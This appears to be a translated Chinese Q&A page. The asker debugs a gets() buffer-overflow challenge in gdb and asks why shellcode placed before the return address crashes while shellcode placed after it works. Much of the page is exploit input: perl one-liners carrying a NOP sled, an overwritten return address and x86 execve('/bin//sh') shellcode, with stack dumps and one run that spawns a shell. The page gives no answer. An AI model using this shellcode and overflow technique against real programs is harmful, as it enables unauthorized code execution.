缓冲区溢出 - shellcode 的位置导致失败或成功 - 为什么？

问题描述

我正在尝试解决一个简单的 gets() 缓冲区溢出挑战。

(gdb) run < <(perl -e 'print "A"x71 . "BBBB"')
Starting program: /tmp/test01 < <(perl -e 'print "A"x71 . "BBBB"')

Breakpoint 1,0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x41414154  0x41414141  0x41414141  0x41414141
0xffffd584: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd594: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5a4: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5b4: 0x41414141  0x41414141  0x42424242  0x00000000
0xffffd5c4: 0xffffd654  0xffffd65c  0x00000000  0x00000000
0xffffd5d4: 0x00000000  0xf7fc5000  0xf7ffdc0c  0xf7ffd000
0xffffd5e4: 0x00000000  0x00000001  0xf7fc5000  0x00000000
0xffffd5f4: 0x17afc61c  0x2d40ca0c  0x00000000  0x00000000
0xffffd604: 0x00000000  0x00000001  0x08048350  0x00000000
0xffffd614: 0xf7fee710  0xf7e2a199  0xf7ffd000  0x00000001
0xffffd624: 0x08048350  0x00000000  0x08048371  0x0804844b
(gdb) c
Continuing.

Program received signal SIGSEGV,Segmentation fault.
0x42424242 in ?? ()
(gdb) 

在第一种方法中，我将 shellcode 放在 NOP 幻灯片末尾的 ret 值之后。这种方法是成功的。在我的第二种方法中，我将 shellcode（与第一个测试中的相同）放在 ret 之前，但也放在 NOP 幻灯片的末尾。这种方法失败了。

我想了解导致不同行为的原因。

成功尝试 1：

(gdb) run < <(perl -e 'print "A"x71 . "\xd0\xd5\xff\xff" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
Starting program: /tmp/test01 < <(perl -e 'print "A"x71 . "\xd0\xd5\xff\xff" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')

Breakpoint 1,0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x41414154  0x41414141  0x41414141  0x41414141
0xffffd584: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd594: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5a4: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd5b4: 0x41414141  0x41414141  0xffffd5d0  0x90909090
0xffffd5c4: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd5d4: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd5e4: 0x90909090  0x90909090  0x90909090  0xc0319090
0xffffd5f4: 0x2f2f6850  0x2f686873  0x896e6962  0x895350e3
0xffffd604: 0xb0c289e1  0x0080cd0b  0x08048350  0x00000000
0xffffd614: 0xf7fee710  0xf7e2a199  0xf7ffd000  0x00000001
0xffffd624: 0x08048350  0x00000000  0x08048371  0x0804844b
(gdb) c
Continuing.
process 11598 is executing new program: /bin/dash

失败的尝试 2：

(gdb) run < <(perl -e 'print "\x90"x40 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x6 . "\x80\xd5\xff\xff"')
Starting program: /tmp/test01 < <(perl -e 'print "\x90"x40 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x6 . "\x80\xd5\xff\xff"')

Breakpoint 1,0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x90909054  0x90909090  0x90909090  0x90909090
0xffffd584: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd594: 0x90909090  0x90909090  0x50c03190  0x732f2f68
0xffffd5a4: 0x622f6868  0xe3896e69  0xe1895350  0x0bb0c289
0xffffd5b4: 0x909080cd  0x90909090  0xffffd580  0x00000000
0xffffd5c4: 0xffffd654  0xffffd65c  0x00000000  0x00000000
0xffffd5d4: 0x00000000  0xf7fc5000  0xf7ffdc0c  0xf7ffd000
0xffffd5e4: 0x00000000  0x00000001  0xf7fc5000  0x00000000
0xffffd5f4: 0x0ca610c5  0x36491cd5  0x00000000  0x00000000
0xffffd604: 0x00000000  0x00000001  0x08048350  0x00000000
0xffffd614: 0xf7fee710  0xf7e2a199  0xf7ffd000  0x00000001
0xffffd624: 0x08048350  0x00000000  0x08048371  0x0804844b
(gdb) c
Continuing.

Program received signal SIGILL,Illegal instruction.
0xffffd5ae in ?? ()

如果我稍微调整一下 shellcode 的位置，我会得到一个 SIGSEV 而不是一个 SIGILL：

(gdb) run < <(perl -e 'print "\x90"x37 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x9 . "\x80\xd5\xff\xff"')
Starting program: /tmp/temp01 < <(perl -e 'print "\x90"x37 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x9 . "\x80\xd5\xff\xff"')
Password: Authentication failure.
Sorry.

Breakpoint 1,0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x90909054  0x90909090  0x90909090  0x90909090
0xffffd584: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd594: 0x90909090  0xc0319090  0x2f2f6850  0x2f686873
0xffffd5a4: 0x896e6962  0x895350e3  0xb0c289e1  0x9080cd0b
0xffffd5b4: 0x90909090  0x90909090  0xffffd580  0x00000000
0xffffd5c4: 0xffffd654  0xffffd65c  0x00000000  0x00000000
0xffffd5d4: 0x00000000  0xf7fc5000  0xf7ffdc0c  0xf7ffd000
0xffffd5e4: 0x00000000  0x00000001  0xf7fc5000  0x00000000
0xffffd5f4: 0xb97731b9  0x83983da9  0x00000000  0x00000000
0xffffd604: 0x00000000  0x00000001  0x08048350  0x00000000
0xffffd614: 0xf7fee710  0xf7e2a199  0xf7ffd000  0x00000001
0xffffd624: 0x08048350  0x00000000  0x08048371  0x0804844b
(gdb) c
Continuing.

Program received signal SIGSEGV,Segmentation fault.
0xffffd5ab in ?? ()

为什么第二种方法不会导致成功的利用，而是导致 SIGILL 或 SIGSEGV？

更新 01： 经过进一步测试，我现在的假设是，在失败的尝试中，跟踪程序中的代码甚至是 shellcode 本身？！正在影响我在堆栈上的 shellcode。如果我只使用一个简短的 NOP 幻灯片并将 shellcode 放在开头，我的测试也是成功的。

(gdb) run < <(perl -e 'print "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x36 . "\x78\xd5\xff\xff"')

解决方法

暂无找到可以解决该程序问题的有效方法，小编努力寻找整理中！

如果你已经找到好的解决方法，欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@）